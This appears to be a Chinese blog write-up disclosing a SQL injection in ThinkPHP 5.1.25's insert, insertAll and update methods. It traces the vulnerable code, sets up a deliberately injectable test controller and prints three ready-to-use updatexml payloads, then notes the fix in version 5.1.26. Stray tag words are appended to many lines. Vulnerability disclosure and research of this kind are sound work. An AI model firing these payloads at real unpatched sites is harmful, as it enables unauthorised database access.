0x00 前言php
這個洞,早在9月29號的時候我提交給先知,那時候tp仍是5.1.25的版本,天還很藍,我也還很年輕。時至今日這個洞依舊沒有審覈,而tp在這期間都已經更新到了5.1.29。在最近我去跟蹤的時候,發現這個洞在5.1.26版本被修復了。好吧,既然修復了,那就公開吧,我博客也很久沒有漏洞類文章了。因此說作人仍是不能太向錢,有漏洞爲何不直接提給廠商呢?爲何不公開呢?是貪婪讓我變得面目全非XD。sql
事先說明,這個洞其實很雞肋。thinkphp
0x01 漏洞詳情數據庫
版本:5.1.25數組
影響方法:insert、insetAll、updateapp
條件:傳入上面方法的參數數組,用戶可控數組的鍵值(說到這裏,瞭解tp的其實應該知道是什麼緣由了,就是sql語句中的字段名可控致使的注入),在實際利用的時候還要知道表的一個字段名。函數
thinkphp\libray\think\db\Builder.php parseData函數 直接看解析$data的代碼ui
跟進parseKey函數,位置:thinkphp\library\think\db\builder\Mysql.phpspa
注意到上面開啓了嚴格模式,key不等於*,因此必然會在兩邊加上反引號。debug
回到parseData函數,繼續往下走
爲了讓$item做爲$result數組的key值返回,咱們能夠讓傳入的數組爲一個二維數組,使用表達式方法INC或者DEC,
形如:
$data[key][0]='inc';
同時還須要讓key中包含'.',不然有可能會拋出異常。
而這裏的key就是在傳入數據庫中的字段位置,能夠注入
同時爲了$val[1]不報錯咱們須要傳入$data[key][1]=1
嗯,大概分析到這裏,有興趣的去跟蹤一下。
0x02 漏洞復現
添加以下代碼至index controller中,分別對應三種方法
public function testsql() { $data = input('data'); var_dump($data); $result = db('user')->insert($data); //$result = db('user')->insertAll($data); //$result = db('user')->where('id',1)->update($data); }
爲了方便,修改config/app.php,開啓調試模式
'app_debug' => true
添加個數據庫tptest,下面有一個表user
結構以下:
修改database.php,填寫數據庫信息:
下面是三種方法的payload,其中須要知道表中的一個字段,這裏用的是id
insert 方法
payload:
data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1
insertAll 方法
由於insertAll 作了一層循環,因此須要傳入一個三維數組。看到thinkphp\library\think\db\Builder.php insertAll()方法
payload:
data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1
update 方法
payload:
data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][0]=inc&data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][1]=1
0x03 漏洞修復
拉一個tp 5.1.26版本的下來,發如今parseKey方法中作了限制,位置:thinkphp\library\think\db\builder\Mysql.php
對key作了比較嚴格的驗證,限制了可用字符。
0x04 總結
實際中,這種更新,插入的操做大多不可控key值,就算可控key值也比較集中在後臺,因此比較雞肋。
還有一篇也是跟tp有關的,待更新。